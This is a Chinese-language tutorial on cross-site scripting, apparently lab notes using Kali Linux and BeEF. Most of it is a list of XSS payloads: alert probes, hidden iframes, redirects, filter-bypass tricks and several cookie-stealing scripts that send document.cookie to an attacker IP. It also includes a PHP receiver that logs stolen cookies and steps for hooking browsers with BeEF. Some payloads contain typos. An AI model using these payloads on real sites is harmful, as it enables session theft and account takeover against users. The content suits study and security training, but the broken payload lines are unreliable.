1.xss简介
XSS跨站脚本攻击(Cross Site Scripting),是将Java script代码插入web页面中,之后当用户浏览页面时, 会执行嵌套在web页面里面的Java script代码,从而达到攻击用户的目的。为了跟HTML里面的层叠样式表(CSS ,Cascading Style Sheets)作区分,所以叫作XSS.
最简单的xss脚本攻击
<script>alert( 'Hello, world!' )</script>
XSS攻击的危害包括:
盗取各类用户账号,如机器登录账号、用户网银账号、各类管理员账号
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
盗窃企业重要的具有商业价值的资料
非法转账
强制发送电子邮件
网站挂马
控制受害者机器向其他网站发起攻击
2.原理解析
3.构造XSS脚本
- 3.1 HTML标签
<iframe> iframe元素会创建包含另外一个文档的内联框架(即行内框架)。
<textarea> <textarea>标签定义多行的文本输入控件
<img> img 元素向网页中嵌入一幅图像
<script> <script>标签用于定义客户端脚本,比如 Javascript
script 元素既可以包含脚本语句,也可以通过 src 属性指向外部本文件。
必需的 type 属性规定脚本的 NINE 类型。
javascript 的常见应用时图像操作、表单验证以及动态内容更新
- 3.2 常用JavaScript方法
alert alert()方法用于显示带有一条指定消息和个确认按钮的警告框
window. location window. location对象用于获得当前页面的地址(URL),井把浏览器重定向到新的页面。
location.href location.href返回当前显示的文档的完整URL
onload 一张页面或一幅图像完成加载
onsubmit 确认按钮被点击
onerror 在加载文档或图像时发生错误
- 3.3构造xss脚本
弹框警告
此脚本实现弹框提示,一般作为漏洞测试或者演示使用,类似SQL注入漏洞试中的单引号',一旦此脚本能执行,也就意
味着后端服务器没有对特殊字符做过滤<>/' 这样就可以证明,这个页面位置存在了XS漏洞。
<script>alert(xss)</script>
<script>alert(document.cookie)</script>
页面嵌套
<iframe src=http://www.baidu.com width=300 height-300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
页面重定向
<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>
弹框警告并重定向
<script>alert("请移步到我们的新站");location.href="http://www.baidu.com"</script>
<script>alert(xss);location.href=http://x.x.x.x/mutillidae/robots.txt"</script>
这里结合了一些社工的思路,例如,通过网站内部私信的方式将其发给其他用户。如果其他用户点击井且相信了这个信
息,则可能在另外的站点重新登录账户(克隆网站收集账户)
访冋恶意代码
<script> src="http://192.168.2.100/xss.js"></script>
<script> src="http://192.168.2.100:3000/hook.js"></script> #结合BeEF收集用户的cookie
<script> scr="http://192.168.2.100:3000/hook.js"></script>
巧用图片标签
<img src="#" οnerrοr=alert(xss)>
<img src="javascript:alert(xss);">
<img src=http://192.168.2.100:3000/hook.js"></img>
绕开过滤的脚本
大小写<ScrIpt>alert('xss')</SCRipt>
字符编码采用URL、Base64等编码
<a href="javascript:alert("xss")">longge</a>
收集用户cookie
打开新窗口并且采用本地cookie访问目标网页
<script>window.open("http://192.168.2.100/cookie.php?cookie="+document.cookie)</script>
<script>document.location="http://192.168.2.100/cookie.php?cookie="+document.cookie</script>
<script>new Image().src="192.168.2.100/cookie.php?cookie.php?cookie="+document.cookie;</script>
<img src="http://192.168.2.100/cookie.php?cookie='+document.cookie"></img>
<iframe src="http://192.168.2.100/cookie.php?cookie='+document.cookie"></iframe>
<script>new Image().src="http://192.168.2.100/cookie.php?cookie='+document.cookie";
img.width = 0;
img.height = 0;
</script>
4反射型XSS
- 手工xss
用户访问网页中的XSS链接,服务器接受并返回,用户执行反射回来的代码并解析执行。
5.存储型XSS
存储型XSS(持久型XSS)即攻击者将有XSS攻击的链接放在网页的某个页面,例如评论框等;
用户访问此XSS链接并执行,由于存储型XSS能够攻击所有访可此页面的用户,所以危害非常大。
-
5.1手工(低)
攻击1 弹框告警:渗透机 kali Linux端操作
text1攻击2 获取 cookie:渗透机 Kali Linux端操作
1.构建收集 cookie服务器
2.构造XSS代码并植入到Web服务器
3.等待肉鸡触发XSS代码并将 cookie发送到kali
4. Cookie利用步骤一:打开kali并启动Apache2服务 root@kali: w# vim /var/www/html/cookie_rec.php
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>
步骤二:给予相应的权限
rootekali: chown -R www-data.www-data /var/www/
<script>window.open('http://192.168.2.100/cookie_rec.php?cookie='+document.cookie)</script>
注:192.168.2.100为Kali Linux IP
注:先清除之前注入的XSS代码
6.自动化XSS
BeEF简介 Browser Exploitation Framework (BeEF)
BeEF是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透;
BeEF是基于Ruby语言编写的,并且支持图形化界面,操作简单;
http://beefproject.com/
-
信息收集:
网络发现 主机信息 cookie获取 会话劫持 键盘记录 插件信息
-
持久化控制:
确认弹框 小窗口 中间人
-
社会工程
点击劫持 弹窗告警 虚假页面 钓鱼页面
-
渗透攻击:
内网渗透 Metasploit CSRF攻击 DDOS攻击
-
BeEF基础
先清除之前注入的XSS代码 启动Apache和BeEF: root@kali:~# systemctl start beef-xss
只用把红框中的信息放入到XSS中即可
进入网页:默认账户密码都是beef,第一次在打开的时候要先设置密码,默认账户是beef
修改密码路径
root@kali:~# vi /etc/beef-xss/config.yaml
输入账户密码进入到主页面:
在XSS端输入:
<script src="http://192.168.2.100:3000/hook.js"></script>
保存之后,beef端就收集到数据了
命令颜色(color):
绿色:对目标主机生效并且不可见(不会被发现)
橙色:对目标主机生效但可能可见(可能被发现)
灰色:对目标主机未必生效(可验证下)
红色:对目标主机不生效
在这里插入图片描述
进而使用命令对网站进行攻击。